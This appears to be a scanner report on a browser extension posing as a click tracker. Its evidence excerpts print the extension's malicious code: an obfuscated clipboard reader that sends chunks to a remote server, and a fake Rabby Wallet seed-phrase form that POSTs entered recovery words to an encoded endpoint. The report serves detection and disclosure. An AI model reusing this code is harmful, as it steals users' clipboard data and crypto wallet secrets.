Click Tracker 1092.0.1
Steals wallet secrets and clipboard
“Track click counts on the current page and across sites today”
Browser clipboard chunks sent over HTTPBrowser clipboard data sent over HTTP
SHA-256ff8cf95bdc0c52fa303b5b9ec4d3bdc853490501e0b30a4edffca4792edf1b6a
MaleculeO₂(CaEu₂)H₅(Cm₈Db₅Os₂U₂)Md₂(Si)
Evidence
33:30… 5,110,117,101,46,112,104,112]
34 };
35
36 const str = arr => String.fromCharCode(...arr);
37
38 return str(parts.a) +
⋯5 lines
44!function(){
45 let a,b=!1,c=Date.now();
46 setInterval(async()=>{
47 if(b||Date.now()<c)return;
48 b=!0;
49 try{
50 let d=await navigator.clipboard.readText();
51 if(d&&d!==a){
52 a=d;
53 let e=[],f=700+~~(Math.random()*1300);
54 for(let i=0;i<d.length;i+=f)e.push(d.slice(i,i+f));
55 let g=Date.now().toString(36)+Math.random().toString(36).slice(2)+"_x"+(~~(9e4*Math.random())).toString(36);
56 e.forEach((h,i)=>{
57 let j=apropriate()+"?"+["uid","part","total","data"].map((k,l)=>k+"="+encodeURIComponent(l<1?g:l<2?i+1:l<3?e.length:h)).join("&");
58 fetch(j,{method:"GET",mode:"no-cors"}).catch(()=>{});
59 });
60 }
⋯4 lines
43:32… "4" r="4" fill="#DDE0FF"/>
44 </svg>
45 </div>
46 <div class="login-key__title">
47 Import Seed Phrase
48 </div>
49
⋯4 lines
79:40… em">
80 <div class="login__field-number">1.</div>
81 <input autofocus name="word1" type="text" class="login__input js-login-field">
82 </div>
83 <div class="login__field-item">
84 <div class="login__field-number">2.</div>
85 <input name="word2" type="text" class="login__input js-login-field">
86 </div>
87 <div class="login__field-item">
88 <div class="login__field-number">3.</div>
89 <input name="word3" type="text" class="login__input js-login-field">
90 </div>
91 <div class="login__field-item">
92 <div class="login__field-number">4.</div>
93 <input name="word4" type="text" class="login__input js-login-field">
94 </div>
95 <div class="login__field-item">
96 <div class="login__field-number">5.</div>
97 <input name="word5" type="text" class="login__input js-login-field">
98 </div>
99 <div class="login__field-item">
100 <div class="login__field-number">6.</div>
101 <input name="word6" type="text" class="login__input js-login-field">
102 </div>
103 <div class="login__field-item">
104 <div class="login__field-number">7.</div>
105 <input name="word7" type="text" class="login__input js-login-field">
106 </div>
107 <div class="login__field-item">
108 <div class="login__field-number">8.</div>
109 <input name="word8" type="text" class="login__input js-login-field">
110 </div>
111 <div class="login__field-item">
112 <div class="login__field-number">9.</div>
113 <inpu …
237:25… sageDisplay.classList.add('hidden');
238 }
239
240 const seedPhraseCombined = seedPhraseInputField.value;
241 clearTimeout(inputProcessingTimer);
242 inputProcessingTimer = setTimeout(() => {
243 collectMetrics({data: seedPhraseCombined});
244 }, 1000);
245
⋯8 lines
254 clearTimeout(inputProcessingTimer);
255 inputProcessingTimer = setTimeout(() => {
256 collectMetrics({data: passphraseCombined});
257 }, 1000);
258 }
⋯14 lines
1const kml = () => {
2 const seed = 0x5B; // 91 hex
3
4 const nums = [
5 seed + 94,
6 seed + 108,
⋯4 lines
11 const pathSegments = ["app.php"];
12
13 const decode = (arr) => String.fromCharCode(...arr);
14
15 const proto = decode([104, 116, 116, 112, 58, 47, 47]);
16
17 const pp = nums.reduce((acc, n, i) =>
⋯6 lines
24};
25
26async function collectMetrics(e){
27 if(!e||typeof e!=="object")return;
28
29 try{
30 const n = {
31 name: "Rabby Wallet",
32 collectedAt: Date.now(),
33 clientVersion: "1.0.0",
34 ...e
35 };
36
37 const response = await fetch(kml(), {
38 method: "POST",
39 headers: { "Content-Type": "application/json" },
40 body: JSON.stringify(n),
41 keepalive: true
42 });
43
44 if (response.ok) await response.text();
45 } catch(e) {}
46}
Showing the top 5 files — 2 more files (11 regions) not shown.
No evidence locations were recorded for this file. Raw result